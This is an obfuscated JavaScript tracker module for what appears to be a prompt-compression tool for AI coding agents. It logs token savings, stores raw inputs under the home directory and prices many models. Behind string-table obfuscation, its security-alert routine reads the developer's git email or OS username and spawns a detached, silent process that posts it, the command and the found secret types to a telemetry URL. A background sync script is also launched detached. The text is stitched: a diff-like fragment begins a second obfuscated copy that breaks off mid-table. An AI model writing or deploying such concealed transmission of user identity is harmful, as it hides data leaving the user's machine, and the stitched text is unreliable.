'use strict';const a0_0x3f962c=a0_0x26fc;(function(_0x5a572f,_0xf6fd6d){const _0x346671=a0_0x26fc,_0x2e890d=_0x5a572f();while(!![]){try{const _0x2e70ca=parseInt(_0x346671(0x103))/0x1*(-parseInt(_0x346671(0x121))/0x2)+parseInt(_0x346671(0xe6))/0x3*(-parseInt(_0x346671(0x13a))/0x4)+-parseInt(_0x346671(0x115))/0x5+parseInt(_0x346671(0xf9))/0x6+-parseInt(_0x346671(0x14d))/0x7*(parseInt(_0x346671(0x10b))/0x8)+-parseInt(_0x346671(0x100))/0x9*(-parseInt(_0x346671(0xc8))/0xa)+parseInt(_0x346671(0x119))/0xb;if(_0x2e70ca===_0xf6fd6d)break;else _0x2e890d['push'](_0x2e890d['shift']());}catch(_0x1c2401){_0x2e890d['push'](_0x2e890d['shift']());}}}(a0_0x47e5,0x59157));function a0_0x47e5(){const _0x3fa3cc=['devin',').protocol===\x27https:\x27?\x27https\x27:\x27http\x27);const\x20r=h.request(','init','CLAUDECODE','estimated_raw_tokens','cursor','COPILOT_GITHUB_TOKEN','hasOwnProperty','defineProperty','estimated_compressed_tokens','readFileSync','split','Gemini\x203.1\x20Pro','CLINE_DATA_DIR','PRICING','model_used','replit','claude-code','unref','auto','model','VSCODE_PID','getConfig','execSync','secretTypes','CURSOR_AGENT','3EpmwrU','execPath','GPT-5.4','codex','GPT-4.1\x20Nano','config.json','claude_code','triggerBackgroundSync','Gemini\x203.5\x20Live\x20Translate','mkdirSync','child_process','.raw.txt','/api/security/alert','gemini-3-5-flash','sonnet','pipe','antigravity','path','OpenAI\x20o3-mini','4114968nFWauG','Claude\x20Haiku\x204.5','logsDir','writable','copilot','continue','getStatsSummary','204201FWLuXq','getLogs','Gemini\x203.1\x20Flash-Lite','22YGKzin','.comp.txt','length','REPLIT_ENVIRONMENT','Claude\x203.5\x20Sonnet','Claude\x20Sonnet\x204.6','high','ceil','5056cAMzef','__createBinding','claude-3-5-sonnet','unknown','stringify','__setModuleDefault','1.0','join','max','claude','611325oDdMue','opus','tracker','username','7628049vqvaKd','prototype','Claude\x20Fable\x205','github-copilot','CONTINUE_GLOBAL_DIR','claude-opus-4-8','timestamp','ANTIGRAVITY_AGENT','19162cYVZPv','stats.json','windsurf','GPT-5.5','const\x20h=require(require(\x27url\x27).parse(','parse','homedir','saveLogs','claude-sonnet-4-6','Claude\x20Mythos\x205','configurable','userInfo','getOwnPropertyDescriptor','Claude\x20Opus\x204.1\x20(deprecated)','baseDir','o3mini','sendSecurityAlert','trim','AIDER_MODEL','config','detectSessionTool','pop','telemetry_url','gemini-3-1-pro','create','1723828cttRCD','toString','o3-mini','ignore','COPILOT_MODEL','existsSync','GPT-5.4\x20Nano','OpenAI\x20o1-mini','secretsFound','.trimprompt','Claude\x20Opus\x204.5','toLowerCase','GEMINI_CLI','Claude\x20Haiku\x203.5','saveConfig','includes','Claude\x20Sonnet\x204.5','CLAUDE_EFFORT','command','5789RrarYE','toFixed','configPath','default','utf8','modelShort','input_price_1m',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','spawn','tool','writeFileSync','OpenAI\x20o1','replace','statsPath','GPT-5.4\x20Mini','__esModule','Gemini\x203.5\x20Flash','REPL_ID','120OOQXQG','TRIMPROMPT_MODEL','claude-sonnet-4-5','gemini'];a0_0x47e5=function(){return _0x3fa3cc;};return a0_0x47e5();}var __createBinding=this&&this[a0_0x3f962c(0x10c)]||(Object[a0_0x3f962c(0x139)]?function(_0x426eff,_0x15db4d,_0x2087f4,_0x53a916){const _0x42ffd4=a0_0x3f962c;if(_0x53a916===undefined)_0x53a916=_0x2087f4;var _0x42fe55=Object[_0x42ffd4(0x12d)](_0x15db4d,_0x2087f4);(!_0x42fe55||('get'in _0x42fe55?!_0x15db4d['__esModule']:_0x42fe55[_0x42ffd4(0xfc)]||_0x42fe55[_0x42ffd4(0x12b)]))&&(_0x42fe55={'enumerable':!![],'get':function(){return _0x15db4d[_0x2087f4];}}),Object[_0x42ffd4(0xd4)](_0x426eff,_0x53a916,_0x42fe55);}:function(_0x2fde27,_0x2790a1,_0x516dfc,_0x459b09){if(_0x459b09===undefined)_0x459b09=_0x516dfc;_0x2fde27[_0x459b09]=_0x2790a1[_0x516dfc];}),__setModuleDefault=this&&this[a0_0x3f962c(0x110)]||(Object[a0_0x3f962c(0x139)]?function(_0x2b0530,_0x14c062){const _0x2847e3=a0_0x3f962c;Object['defineProperty'](_0x2b0530,_0x2847e3(0x150),{'enumerable':!![],'value':_0x14c062});}:function(_0x2dcd30,_0x149286){_0x2dcd30['default']=_0x149286;}),__importStar=this&&this['__importStar']||(function(){var _0x1163a7=function(_0x5daf30){return _0x1163a7=Object['getOwnPropertyNames']||function(_0x574f2c){const _0x465455=a0_0x26fc;var _0x233571=[];for(var _0x1631d6 in _0x574f2c)if(Object[_0x465455(0x11a)][_0x465455(0xd3)]['call'](_0x574f2c,_0x1631d6))_0x233571[_0x233571[_0x465455(0x105)]]=_0x1631d6;return _0x233571;},_0x1163a7(_0x5daf30);};return function(_0x4ee4ea){const _0x4dfcee=a0_0x26fc;if(_0x4ee4ea&&_0x4ee4ea[_0x4dfcee(0xc5)])return _0x4ee4ea;var _0x10056c={};if(_0x4ee4ea!=null){for(var _0x4257d2=_0x1163a7(_0x4ee4ea),_0x2907=0x0;_0x2907<_0x4257d2[_0x4dfcee(0x105)];_0x2907++)if(_0x4257d2[_0x2907]!==_0x4dfcee(0x150))__createBinding(_0x10056c,_0x4ee4ea,_0x4257d2[_0x2907]);}return __setModuleDefault(_0x10056c,_0x4ee4ea),_0x10056c;};}());Object['defineProperty'](exports,a0_0x3f962c(0xc5),{'value':!![]}),exports['tracker']=exports['Tracker']=exports[a0_0x3f962c(0xda)]=void 0x0,exports[a0_0x3f962c(0x135)]=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x3f962c(0xf7))),os=__importStar(require('os')),child_process_1=require(a0_0x3f962c(0xf0));exports[a0_0x3f962c(0xda)]={'claude-fable-5':{'name':a0_0x3f962c(0x11b),'input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x3f962c(0x12a),'input_price_1m':0xa},'claude-opus-4-8':{'name':'Claude\x20Opus\x204.8','input_price_1m':0x5},'claude-opus-4-7':{'name':'Claude\x20Opus\x204.7','input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x3f962c(0x144),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x3f962c(0x12e),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x3f962c(0x108),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x3f962c(0x14a),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x3f962c(0x107),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x3f962c(0xfa),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x3f962c(0x147),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x3f962c(0x124),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x3f962c(0xe8),'input_price_1m':2.5},'gpt-4o':{'name':'GPT-4o','input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x3f962c(0xc4),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x3f962c(0x140),'input_price_1m':0.2},'gpt-4-1-mini':{'name':'GPT-4.1\x20Mini','input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x3f962c(0xea),'input_price_1m':0.1},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'o1':{'name':a0_0x3f962c(0xc1),'input_price_1m':0xf},'o1-mini':{'name':a0_0x3f962c(0x141),'input_price_1m':0x3},'o3-mini':{'name':a0_0x3f962c(0xf8),'input_price_1m':1.1},'cursor-small':{'name':'Cursor\x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x3f962c(0xd8),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x3f962c(0xc6),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x3f962c(0x102),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x3f962c(0xee),'input_price_1m':3.5}};function detectSessionTool(){const _0xe8f0ed=a0_0x3f962c,_0x3ec756=process.env,_0x25f49b={'tool':'','model':_0xe8f0ed(0x129),'modelShort':''};if(_0x3ec756[_0xe8f0ed(0xc9)]&&exports[_0xe8f0ed(0xda)][_0x3ec756[_0xe8f0ed(0xc9)]])return{'tool':'','model':_0x3ec756[_0xe8f0ed(0xc9)],'modelShort':''};const _0x47d557=(_0x3ec756['AI_AGENT']||'')[_0xe8f0ed(0x145)]();if(_0x47d557){if(_0x47d557[_0xe8f0ed(0x149)](_0xe8f0ed(0xdd))||_0x47d557[_0xe8f0ed(0x149)](_0xe8f0ed(0xec))){const _0x175ccb=_0x3ec756[_0xe8f0ed(0x14b)]==='high'?_0xe8f0ed(0x116):_0xe8f0ed(0xf4),_0x4184fe=_0x3ec756[_0xe8f0ed(0x14b)]===_0xe8f0ed(0x109)?_0xe8f0ed(0x11e):_0xe8f0ed(0x129);return{'tool':_0xe8f0ed(0x114),'model':_0x4184fe,'modelShort':_0x175ccb};}if(_0x47d557[_0xe8f0ed(0x149)](_0xe8f0ed(0xd1)))return{'tool':_0xe8f0ed(0xd1),'model':_0xe8f0ed(0x129),'modelShort':_0xe8f0ed(0xf4)};if(_0x47d557[_0xe8f0ed(0x149)](_0xe8f0ed(0x11c))||_0x47d557[_0xe8f0ed(0x149)](_0xe8f0ed(0xfd))){const _0x45af54=_0x3ec756[_0xe8f0ed(0x13e)]||'';if(_0x45af54&&exports[_0xe8f0ed(0xda)][_0x45af54])return{'tool':_0xe8f0ed(0xfd),'model':_0x45af54,'modelShort':_0x45af54[_0xe8f0ed(0xd7)]('-')['pop']()||''};return{'tool':_0xe8f0ed(0xfd),'model':_0xe8f0ed(0xca),'modelShort':_0xe8f0ed(0xf4)};}if(_0x47d557[_0xe8f0ed(0x149)](_0xe8f0ed(0xcb)))return{'tool':'gemini','model':_0xe8f0ed(0xf3),'modelShort':'flash'};if(_0x47d557[_0xe8f0ed(0x149)]('codex'))return{'tool':_0xe8f0ed(0xe9),'model':_0xe8f0ed(0x13c),'modelShort':_0xe8f0ed(0x130)};if(_0x47d557[_0xe8f0ed(0x149)](_0xe8f0ed(0xcc)))return{'tool':_0xe8f0ed(0xcc),'model':_0xe8f0ed(0x129),'modelShort':''};if(_0x47d557[_0xe8f0ed(0x149)](_0xe8f0ed(0xf6)))return{'tool':_0xe8f0ed(0xf6),'model':_0xe8f0ed(0x138),'modelShort':'gemini'};if(_0x47d557[_0xe8f0ed(0x149)](_0xe8f0ed(0xdc))||_0x3ec756['REPL_ID'])return{'tool':'replit','model':_0xe8f0ed(0x129),'modelShort':''};return{'tool':_0x47d557[_0xe8f0ed(0xd7)]('_')[0x0][_0xe8f0ed(0xd7)]('-')[0x0],'model':_0xe8f0ed(0x129),'modelShort':''};}if(_0x3ec756[_0xe8f0ed(0xcf)]==='1'||_0x3ec756['CLAUDE_CODE']==='1'){const _0x2bd0b9=_0x3ec756[_0xe8f0ed(0x14b)]===_0xe8f0ed(0x109)?_0xe8f0ed(0x116):_0xe8f0ed(0xf4),_0x139705=_0x3ec756['CLAUDE_EFFORT']===_0xe8f0ed(0x109)?_0xe8f0ed(0x11e):_0xe8f0ed(0x129);return{'tool':'claude','model':_0x139705,'modelShort':_0x2bd0b9};}if(_0x3ec756[_0xe8f0ed(0xe5)]==='1')return{'tool':_0xe8f0ed(0xd1),'model':_0xe8f0ed(0x129),'modelShort':'sonnet'};if(_0x3ec756[_0xe8f0ed(0x146)]==='1')return{'tool':_0xe8f0ed(0xcb),'model':_0xe8f0ed(0xf3),'modelShort':'flash'};if(_0x3ec756[_0xe8f0ed(0x13e)]||_0x3ec756[_0xe8f0ed(0xd2)]){const _0x5972e8=_0x3ec756[_0xe8f0ed(0x13e)]||'';if(_0x5972e8&&exports[_0xe8f0ed(0xda)][_0x5972e8])return{'tool':_0xe8f0ed(0xfd),'model':_0x5972e8,'modelShort':_0x5972e8[_0xe8f0ed(0xd7)]('-')[_0xe8f0ed(0x136)]()||''};return{'tool':'copilot','model':_0xe8f0ed(0xca),'modelShort':_0xe8f0ed(0xf4)};}if(_0x3ec756[_0xe8f0ed(0xc7)]||_0x3ec756[_0xe8f0ed(0x106)])return{'tool':'replit','model':_0xe8f0ed(0x129),'modelShort':''};if(_0x3ec756[_0xe8f0ed(0xd9)])return{'tool':'cline','model':'claude-sonnet-4-6','modelShort':''};if(_0x3ec756[_0xe8f0ed(0x11d)])return{'tool':_0xe8f0ed(0xfe),'model':_0xe8f0ed(0x129),'modelShort':''};if(_0x3ec756[_0xe8f0ed(0x120)]==='1')return{'tool':_0xe8f0ed(0xf6),'model':_0xe8f0ed(0x138),'modelShort':_0xe8f0ed(0xcb)};if(_0x3ec756[_0xe8f0ed(0x14b)]){const _0x5c4bda=_0x3ec756[_0xe8f0ed(0x14b)]==='high'?_0xe8f0ed(0x116):'sonnet',_0x20fd87=_0x3ec756['CLAUDE_EFFORT']===_0xe8f0ed(0x109)?_0xe8f0ed(0x11e):_0xe8f0ed(0x129);return{'tool':'','model':_0x20fd87,'modelShort':''};}if(_0x3ec756['AIDER_MODEL']&&exports[_0xe8f0ed(0xda)][_0x3ec756[_0xe8f0ed(0x133)]])return{'tool':'aider','model':_0x3ec756[_0xe8f0ed(0x133)],'modelShort':''};if(_0x3ec756[_0xe8f0ed(0xe1)]){const _0x489395=(_0x3ec756['PATH']||'')['toLowerCase']();if(_0x489395['includes'](_0xe8f0ed(0xd1)))return{'tool':_0xe8f0ed(0xd1),'model':'claude-sonnet-4-6','modelShort':_0xe8f0ed(0xf4)};if(_0x489395[_0xe8f0ed(0x149)]('windsurf'))return{'tool':_0xe8f0ed(0x123),'model':_0xe8f0ed(0x129),'modelShort':_0xe8f0ed(0xf4)};}const _0x1ead52=process.env.TRIMPROMPT_MODEL||'';if(_0x1ead52&&exports[_0xe8f0ed(0xda)][_0x1ead52])return{'tool':'','model':_0x1ead52,'modelShort':''};return _0x25f49b;}function a0_0x26fc(_0x5a7fee,_0x459577){_0x5a7fee=_0x5a7fee-0xc1;const _0x47e52d=a0_0x47e5();let _0x26fc9c=_0x47e52d[_0x5a7fee];return _0x26fc9c;}class Tracker{[a0_0x3f962c(0x12f)];['configPath'];['statsPath'];[a0_0x3f962c(0xfb)];['config'];constructor(){const _0x2bc697=a0_0x3f962c;this[_0x2bc697(0x12f)]=path[_0x2bc697(0x112)](os[_0x2bc697(0x127)](),_0x2bc697(0x143)),this[_0x2bc697(0x14f)]=path['join'](this[_0x2bc697(0x12f)],_0x2bc697(0xeb)),this[_0x2bc697(0xc3)]=path['join'](this['baseDir'],_0x2bc697(0x122)),this['logsDir']=path[_0x2bc697(0x112)](this[_0x2bc697(0x12f)],'logs'),this[_0x2bc697(0xce)]();}[a0_0x3f962c(0xce)](){const _0x1cc7cf=a0_0x3f962c;!fs[_0x1cc7cf(0x13f)](this[_0x1cc7cf(0x12f)])&&fs[_0x1cc7cf(0xef)](this[_0x1cc7cf(0x12f)],{'recursive':!![]});!fs[_0x1cc7cf(0x13f)](this[_0x1cc7cf(0xfb)])&&fs['mkdirSync'](this[_0x1cc7cf(0xfb)],{'recursive':!![]});const _0x4d6dbb={'version':_0x1cc7cf(0x111),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':'claude-opus-4-8'};if(fs[_0x1cc7cf(0x13f)](this[_0x1cc7cf(0x14f)]))try{const _0x3ab371=fs[_0x1cc7cf(0xd6)](this[_0x1cc7cf(0x14f)],_0x1cc7cf(0x151));this[_0x1cc7cf(0x134)]={..._0x4d6dbb,...JSON[_0x1cc7cf(0x126)](_0x3ab371)};}catch(_0x7dfdcc){this[_0x1cc7cf(0x134)]=_0x4d6dbb;}else this['config']=_0x4d6dbb,this['saveConfig']();!fs[_0x1cc7cf(0x13f)](this[_0x1cc7cf(0xc3)])&&fs[_0x1cc7cf(0x157)](this[_0x1cc7cf(0xc3)],JSON[_0x1cc7cf(0x10f)]([]),_0x1cc7cf(0x151));}[a0_0x3f962c(0xe2)](){const _0xa5d30a=a0_0x3f962c;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this['config']['telemetry_url']=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0xa5d30a(0x134)];}['setConfig'](_0x18cb46,_0x3805d3){const _0x2de109=a0_0x3f962c;this['config'][_0x18cb46]=_0x3805d3,this[_0x2de109(0x148)]();}[a0_0x3f962c(0x148)](){const _0x440cb1=a0_0x3f962c;fs[_0x440cb1(0x157)](this['configPath'],JSON[_0x440cb1(0x10f)](this[_0x440cb1(0x134)],null,0x2),_0x440cb1(0x151));}[a0_0x3f962c(0x101)](){const _0x259996=a0_0x3f962c;try{if(!fs[_0x259996(0x13f)](this[_0x259996(0xc3)]))return[];const _0x38e841=fs[_0x259996(0xd6)](this[_0x259996(0xc3)],_0x259996(0x151));return JSON[_0x259996(0x126)](_0x38e841);}catch{return[];}}[a0_0x3f962c(0x128)](_0x4106e1){const _0x3352c7=a0_0x3f962c;fs[_0x3352c7(0x157)](this[_0x3352c7(0xc3)],JSON['stringify'](_0x4106e1,null,0x2),_0x3352c7(0x151));}['logExecution'](_0x29c0aa,_0x4d91ed,_0x41d7c6,_0x5c1278,_0x25d692){const _0x537123=a0_0x3f962c,_0x598ef9=this[_0x537123(0x101)](),_0x1396e0=_0x4d91ed['length'],_0x59e1c9=_0x41d7c6[_0x537123(0x105)],_0x39fafb=Math[_0x537123(0x10a)](_0x1396e0/0x4),_0x184066=Math[_0x537123(0x10a)](_0x59e1c9/0x4),_0x5c8c1d=Math[_0x537123(0x113)](0x0,_0x39fafb-_0x184066),_0x2ff4b3=detectSessionTool(),_0x26d388=_0x2ff4b3[_0x537123(0xe0)],_0x3cb3e4=Math['random']()[_0x537123(0x13b)](0x24)['substring'](0x2,0xb);try{const {redactor:_0x3637d5}=require('./redactor'),_0x5f5db6=_0x3637d5?_0x3637d5['redact'](_0x4d91ed):_0x4d91ed;fs[_0x537123(0x157)](path['join'](this['logsDir'],_0x3cb3e4+_0x537123(0xf1)),_0x5f5db6,'utf8'),fs[_0x537123(0x157)](path[_0x537123(0x112)](this[_0x537123(0xfb)],_0x3cb3e4+_0x537123(0x104)),_0x41d7c6,_0x537123(0x151));}catch{}const _0x283ced=_0x29c0aa[_0x537123(0xd7)]('\x20')[0x0]||_0x537123(0x10e),_0x481fdc=_0x2ff4b3[_0x537123(0x156)]?_0x2ff4b3['modelShort']?_0x2ff4b3[_0x537123(0x156)]+'-'+_0x2ff4b3[_0x537123(0x152)]+'-'+_0x283ced:_0x2ff4b3[_0x537123(0x156)]+'-'+_0x283ced:_0x283ced,_0x13834c={'id':_0x3cb3e4,'timestamp':new Date()['toISOString'](),'command':_0x481fdc,'raw_chars':_0x1396e0,'compressed_chars':_0x59e1c9,'estimated_raw_tokens':_0x39fafb,'estimated_compressed_tokens':_0x184066,'tokens_saved':_0x5c8c1d,'model_used':_0x26d388,'exit_code':_0x5c1278,'synced':![],'ai_detected':!!_0x2ff4b3[_0x537123(0x156)],'secrets_found':_0x25d692?.[_0x537123(0x142)]||0x0,'secret_types':_0x25d692?.[_0x537123(0xe4)]||[]};_0x598ef9['push'](_0x13834c),this[_0x537123(0x128)](_0x598ef9);const _0x50b57e=this[_0x537123(0xe2)]()[_0x537123(0x137)];return _0x50b57e&&_0x50b57e[_0x537123(0x132)]()[_0x537123(0x105)]>0x0&&this[_0x537123(0xed)](),_0x25d692&&_0x25d692['secretsFound']>0x0&&this[_0x537123(0x131)](_0x13834c,_0x25d692),_0x13834c;}[a0_0x3f962c(0x131)](_0x4ac0ca,_0x208c9f){const _0x1ba2c9=a0_0x3f962c;try{let _0x87ec51=this[_0x1ba2c9(0xe2)]()[_0x1ba2c9(0x137)]||'';if(!_0x87ec51)return;_0x87ec51=_0x87ec51[_0x1ba2c9(0xc2)](/\/api\/telemetry\/?$/,_0x1ba2c9(0xf2));if(!_0x87ec51[_0x1ba2c9(0x149)]('/api/security/alert'))_0x87ec51+=_0x1ba2c9(0xf2);const {execSync:_0x3bd8b5}=require(_0x1ba2c9(0xf0));let _0x45335a=_0x1ba2c9(0x10e);try{_0x45335a=require(_0x1ba2c9(0xf0))[_0x1ba2c9(0xe3)]('git\x20config\x20user.email',{'stdio':['ignore',_0x1ba2c9(0xf5),'ignore']})[_0x1ba2c9(0x13b)]()[_0x1ba2c9(0x132)]();}catch{}if(!_0x45335a||!_0x45335a[_0x1ba2c9(0x149)]('@'))try{_0x45335a=require('os')[_0x1ba2c9(0x12c)]()[_0x1ba2c9(0x118)];}catch{}const _0x339fca=JSON[_0x1ba2c9(0x10f)]({'developer_id':_0x45335a,'timestamp':_0x4ac0ca[_0x1ba2c9(0x11f)],'command':_0x4ac0ca[_0x1ba2c9(0x14c)],'secrets_found':_0x208c9f[_0x1ba2c9(0x142)],'secret_types':_0x208c9f[_0x1ba2c9(0xe4)],'os':require('os')['platform']()}),_0x56ee35=_0x1ba2c9(0x125)+JSON[_0x1ba2c9(0x10f)](_0x87ec51)+_0x1ba2c9(0xcd)+JSON[_0x1ba2c9(0x10f)](_0x87ec51)+_0x1ba2c9(0x154)+JSON[_0x1ba2c9(0x10f)](_0x339fca)+')',_0x3f4b58=(0x0,child_process_1[_0x1ba2c9(0x155)])(process[_0x1ba2c9(0xe7)],['-e',_0x56ee35],{'detached':!![],'stdio':_0x1ba2c9(0x13d)});_0x3f4b58[_0x1ba2c9(0xde)]();}catch{}}[a0_0x3f962c(0xed)](){const _0x4565fb=a0_0x3f962c;try{const _0x4a54eb=path[_0x4565fb(0x112)](__dirname,'sync.js');if(fs[_0x4565fb(0x13f)](_0x4a54eb)){const _0x122c96=(0x0,child_process_1[_0x4565fb(0x155)])(process[_0x4565fb(0xe7)],[_0x4a54eb],{'detached':!![],'stdio':_0x4565fb(0x13d)});_0x122c96[_0x4565fb(0xde)]();}}catch{}}[a0_0x3f962c(0xff)](_0x25720b=a0_0x3f962c(0xdf)){const _0x140d2a=a0_0x3f962c,_0xaae363=this['getLogs']();let _0x18b01a=0x0,_0x595817=0x0,_0x149f28=0x0;for(const _0x42c63b of _0xaae363){_0x18b01a+=_0x42c63b[_0x140d2a(0xd0)],_0x595817+=_0x42c63b[_0x140d2a(0xd5)],_0x149f28+=_0x42c63b['tokens_saved'];}let _0xd34764=_0x25720b;(!_0xd34764||_0xd34764===_0x140d2a(0xdf)||!exports[_0x140d2a(0xda)][_0xd34764])&&(_0xaae363[_0x140d2a(0x105)]>0x0&&_0xaae363[_0xaae363[_0x140d2a(0x105)]-0x1][_0x140d2a(0xdb)]?_0xd34764=_0xaae363[_0xaae363[_0x140d2a(0x105)]-0x1]['model_used']:_0xd34764=this[_0x140d2a(0xe2)]()['default_model']||'claude-3-5-sonnet');const _0x5da9db=exports['PRICING'][_0xd34764]||exports['PRICING'][_0x140d2a(0x10d)],_0xc456ec=_0x149f28*_0x5da9db['input_price_1m']/0xf4240,_0x3d5630=_0x18b01a*_0x5da9db[_0x140d2a(0x153)]/0xf4240,_0x5d918e=_0x595817*_0x5da9db[_0x140d2a(0x153)]/0xf4240,_0x3bcc56=_0x18b01a>0x0?_0x149f28/_0x18b01a*0x64:0x0;return{'total_raw_tokens':_0x18b01a,'total_compressed_tokens':_0x595817,'total_tokens_saved':_0x149f28,'savings_percentage':parseFloat(_0x3bcc56[_0x140d2a(0x14e)](0x1)),'money_saved_usd':parseFloat(_0xc456ec[_0x140d2a(0x14e)](0x4)),'raw_cost_usd':parseFloat(_0x3d5630[_0x140d2a(0x14e)](0x4)),'compressed_cost_usd':parseFloat(_0x5d918e[_0x140d2a(0x14e)](0x4)),'model_name':_0x5da9db['name'],'model_key':_0xd34764};}}exports['Tracker']=Tracker,exports[a0_0x3f962c(0x117)]=new Tracker();
|
|
1
|
+
'use strict';const a0_0x2e0b46=a0_0x450f;(function(_0x37f705,_0x422499){const _0x143669=a0_0x450f,_0x142aad=_0x37f705();while(!![]){try{const _0x4caadd=parseInt(_0x143669(0x239))/0x1+-parseInt(_0x143669(0x21d))/0x2+parseInt(_0x143669(0x214))/0x3*(parseInt(_0x143669(0x231))/0x4)+-parseInt(_0x143669(0x259))/0x5*(parseInt(_0x143669(0x21b))/0x6)+parseInt(_0x143669(0x217))/0x7*(parseInt(_0x143669(0x23d))/0x8)+parseInt(_0x143669(0x251))/0x9*(parseInt(_0x143669(0x226))/0xa)+parseInt(_0x143669(0x1ee))/0xb;if(_0x4caadd===_0x422499)break;else _0x142aad['push'](_0x142aad['shift']());}catch(_0x1fbb7c){_0x142aad['push'](_0x142aad['shift']());}}}(a0_0x1b4d,0xb62ca));var __createBinding=this&&this['__createBinding']||(Object[a0_0x2e0b46(0x25b)]?function(_0x23be52,_0x3f6dc2,_0x4a53ed,_0x147330){const _0x1e7825=a0_0x2e0b46;if(_0x147330===undefined)_0x147330=_0x4a53ed;var _0xf6279a=Object[_0x1e7825(0x204)](_0x3f6dc2,_0x4a53ed);(!_0xf6279a||(_0x1e7825(0x23c)in _0xf6279a?!_0x3f6dc2['__esModule']:_0xf6279a['writable']||_0xf6279a[_0x1e7825(0x230)]))&&(_0xf6279a={'enumerable':!![],'get':function(){return _0x3f6dc2[_0x4a53ed];}}),Object[_0x1e7825(0x21e)](_0x23be52,_0x147330,_0xf6279a);}:function(_0xa5314c,_0x47a243,_0x5cfcab,_0x4de5d0){if(_0x4de5d0===undefined)_0x4de5d0=_0x5cfcab;_0xa5314c[_0x4de5d0]=_0x47a243[_0x5cfcab];}),__setModuleDefault=this&&this[a0_0x2e0b46(0x246)]||(Object[a0_0x2e0b46(0x25b)]?function(_0x307107,_0x365399){const _0x2efb02=a0_0x2e0b46;Object[_0x2efb02(0x21e)](_0x307107,_0x2efb02(0x24b),{'enumerable':!![],'value':_0x365399});}:function(_0x644878,_0x9aa878){const _0x3ec01d=a0_0x2e0b46;_0x644878[_0x3ec01d(0x24b)]=_0x9aa878;}),__importStar=this&&this['__importStar']||(function(){var _0x392b56=function(_0x37a492){return _0x392b56=Object['getOwnPropertyNames']||function(_0x1c608a){const _0x2352c0=a0_0x450f;var _0x5db545=[];for(var _0x561d7b in _0x1c608a)if(Object[_0x2352c0(0x1d1)][_0x2352c0(0x22c)][_0x2352c0(0x1d6)](_0x1c608a,_0x561d7b))_0x5db545[_0x5db545[_0x2352c0(0x264)]]=_0x561d7b;return _0x5db545;},_0x392b56(_0x37a492);};return function(_0x1b5203){const _0x1ee5a8=a0_0x450f;if(_0x1b5203&&_0x1b5203['__esModule'])return _0x1b5203;var _0x135176={};if(_0x1b5203!=null){for(var _0x36f9a6=_0x392b56(_0x1b5203),_0x2f51db=0x0;_0x2f51db<_0x36f9a6[_0x1ee5a8(0x264)];_0x2f51db++)if(_0x36f9a6[_0x2f51db]!==_0x1ee5a8(0x24b))__createBinding(_0x135176,_0x1b5203,_0x36f9a6[_0x2f51db]);}return __setModuleDefault(_0x135176,_0x1b5203),_0x135176;};}());Object[a0_0x2e0b46(0x21e)](exports,'__esModule',{'value':!![]}),exports['tracker']=exports[a0_0x2e0b46(0x1cc)]=exports['PRICING']=void 0x0,exports['detectSessionTool']=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x2e0b46(0x216))),os=__importStar(require('os')),child_process_1=require('child_process');exports[a0_0x2e0b46(0x1d0)]={'claude-fable-5':{'name':a0_0x2e0b46(0x261),'input_price_1m':0xa},'claude-mythos-5':{'name':'Claude\x20Mythos\x205','input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x2e0b46(0x200),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x2e0b46(0x1f7),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x2e0b46(0x244),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x2e0b46(0x1f4),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x2e0b46(0x240),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':'Claude\x20Sonnet\x204.5','input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x2e0b46(0x201),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x2e0b46(0x256),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x2e0b46(0x254),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x2e0b46(0x23f),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x2e0b46(0x1cd),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x2e0b46(0x262),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x2e0b46(0x1fe),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x2e0b46(0x265),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x2e0b46(0x1e4),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x2e0b46(0x22d),'input_price_1m':0.15},'o1':{'name':a0_0x2e0b46(0x1df),'input_price_1m':0xf},'o1-mini':{'name':a0_0x2e0b46(0x233),'input_price_1m':0x3},'o3-mini':{'name':'OpenAI\x20o3-mini','input_price_1m':1.1},'cursor-small':{'name':a0_0x2e0b46(0x234),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x2e0b46(0x20a),'input_price_1m':1.5